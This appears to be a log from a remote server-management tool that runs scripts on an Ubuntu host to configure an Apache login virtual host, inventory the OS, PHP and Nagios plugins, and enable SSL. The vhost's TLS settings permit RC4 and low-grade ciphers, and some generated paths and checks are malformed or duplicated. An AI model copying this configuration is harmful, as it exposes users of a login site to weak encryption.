    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58d509bc8051d01cd9d10836cb4779a8.crt
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/login_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/login_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_login_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_login_work.conf= 1'
fi


2026-06-19 11:26:07: 

chmod 755 /tmp/pkp927091; /tmp/pkp927091; rm /tmp/pkp927091

2026-06-19 11:26:07: 




2026-06-19 11:26:07: 

PUT: /tmp/pkp809644

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-19 11:26:07: 

chmod 755 /tmp/pkp809644; /tmp/pkp809644; rm /tmp/pkp809644

2026-06-19 11:26:07: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-19 11:26:07: Performing Server Status
2026-06-19 11:26:07: 

PUT: /tmp/pkp434527

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-06-19 11:26:07: 

chmod 755 /tmp/pkp434527; /tmp/pkp434527; rm /tmp/pkp434527

2026-06-19 11:26:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-124-generic



2026-06-19 11:26:07: 

PUT: /tmp/pkp849233

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-06-19 11:26:07: 

chmod 755 /tmp/pkp849233; /tmp/pkp849233; rm /tmp/pkp849233

2026-06-19 11:26:07: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-06-03T15:41:58
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 561214
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      561214  0.0  1.0 325340 40292 ?        Ss   Jun11   1:12 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-06-19 11:26:07: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-06-19 11:26:07: 

PUT: /tmp/pkp139484

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-06-19 11:26:07: 

chmod 755 /tmp/pkp139484; /tmp/pkp139484; rm /tmp/pkp139484

2026-06-19 11:26:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-06-19 11:26:07: 

PUT: /tmp/pkp315227

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-06-19 11:26:07: 

chmod 755 /tmp/pkp315227; /tmp/pkp315227; rm /tmp/pkp315227

2026-06-19 11:26:08: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.31
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.31
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.22


2026-06-19 11:26:08: 

PUT: /tmp/pkp157479

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-06-19 11:26:08: 

chmod 755 /tmp/pkp157479; /tmp/pkp157479; rm /tmp/pkp157479

2026-06-19 11:26:08: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-06-19 11:26:08: 

PUT: /tmp/pkp911391

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-06-19 11:26:08: 

chmod 755 /tmp/pkp911391; /tmp/pkp911391; rm /tmp/pkp911391

2026-06-19 11:26:08: 


status=ok


2026-06-19 11:26:08: 

PUT: /tmp/pkp542722

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:26:08: 

chmod 755 /tmp/pkp542722; /tmp/pkp542722; rm /tmp/pkp542722

2026-06-19 11:26:08: 
2026-06-19 11:26:08: 

PUT: /tmp/pkp507801

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/vela_login_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:26:08: 

chmod 755 /tmp/pkp507801; /tmp/pkp507801; rm /tmp/pkp507801

2026-06-19 11:26:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/vela_login_work.conf	1288

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
